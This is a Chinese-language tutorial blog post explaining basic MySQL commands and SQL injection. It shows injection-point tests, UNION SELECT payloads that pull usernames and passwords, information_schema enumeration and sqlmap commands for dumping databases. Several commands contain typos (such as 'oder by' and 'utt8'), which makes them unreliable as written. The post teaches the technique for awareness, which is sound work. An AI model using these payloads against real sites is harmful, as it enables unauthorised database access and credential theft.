mysql数据库及sql注入
学习sql注入原理可以帮助我们写代码的时候避免一些不必要的漏洞,禁止用于违法用途。
mysql -u root -p回车后数据密码(默认root)进入数据库,没有配置环境变量的需要在mysql目录下的bin文件夹里面打开终端执行
show databases;查看数据库
CREATE DATABASE IF NOT EXISTS Hacktest DEFAULT CHARSET utf8 COLLATE utt8_general_ci;建立数据库如果没有Hacktest的话,默认用utf8
use hacktest;使用hacktest
drop hacktest;删除数据库
CREATE TABLE IF NOT EXISTS `news`( `id` INT UNSIGNED AUTO_INCREMENT, `title` VARCHAR(100) NOT NULL, `content` VARCHAR(100) NOT NULL, PRIMARY KEY ( `id` ))ENGINE=InnoDB DEFAULT CHARSET=utf8;创建表和其中的字段,如果没有news这个表的话
Show tables;查看数据表
INSERT INTO news (id,title,content) VALUES ('1','新闻1','这里是新闻内容');往表里面的id,title,content字段分别插入'1','新闻1','这里是新闻内容'
select * from news;查询news表
SQL注入-是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
漏洞原理:
用户访问:www.xxx/?id=1 返回ID为1的内容
黑客访问:www.xxx/?id=1 or 1 =1 黑客访问所有内容
数字型注入点判断
当要输入的参数x为数字时,后端脚本中的Sql语句类型大致如下select *from where id =x数字类型可以使用and 1=1和and 1-2来判断Url地址中输入http://xxx.cn/?id= x and 1=1页面依旧运行正常,继续进行下一步;Url地址中继续输入http://xxx/?id= x and 1-2页面运行错误,则说明此Sql注入为数字型注入。
原因如下:当输入and 1-1时,后台执行Sq语句select * from where id =and1没有语法错误且逻辑判断为真,所以返回的数据正常。当输入and 1-2时,后台执行Sql语句:select *from where id =没有语法错误但逻辑判断为假,所以返回的数据异常。
字符型注入点判断
当要输入的参数×为字符时,后端脚本中的Sql语句类型大致如下:select * from where id='x'字符类型可以使用单引号来判断:Url地址中输入http://xxx/?id= x',页面运行错误,继续进行下一步;Url地址中继续输入http://xxx/?id=x'%23页面运行正常,则说明此Sql注入为字符型注入。
原因如下:当输入x加上单引号时,后台执行Sql语句:select * from <表名> where id='x''语法上有错误,因为无法识别多出来的一个单引号。当输入x%23时,后台执行Sql语句select * from<表名> where id='x'#没有语法错误且逻辑正确,所以返回的数据正常。
利用Oder by x的语法来判断
Select * from users where id = 1 oder by
Select * from users where id = 1 oder by 2
Select * from users where id = 1 oder by 3
数字的含义:代表需要从第几个字段来排序
http://xxx/?id = 1' and 1= 2 union select 1,2.3 %23
利用Mysql数据库的函数来查询Select database();
Mysq15以上的版本,会有一个数据库存放着所有数据库的表名字段名等在SQL注入中,会经常对mysql数据库的information_schema数据库中的一些表进行查询,以此来获得自已想要的信息。
常用的表有SCHEMAT表:提供了当前mysal实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之
?id=-1' union select 1,group_concat(username).group_concat(password) from users %23
group_concat的作用:用符号连接查询结果里字段值
SQLMAP用法
测试注入 sqlmap -u url
跑数据库 sqlmap -u url --dbs
跑表名 sqmap-u url -D 数据库名 --tables
跑列名 sqlmap-u url -D 数据库名 -T 表名 --columns
跑字段内容 sqlmap-u url-D 数据库名 -T 表名 -C "字段名,字段名" --dump
点分享
点收藏
点点赞
点在看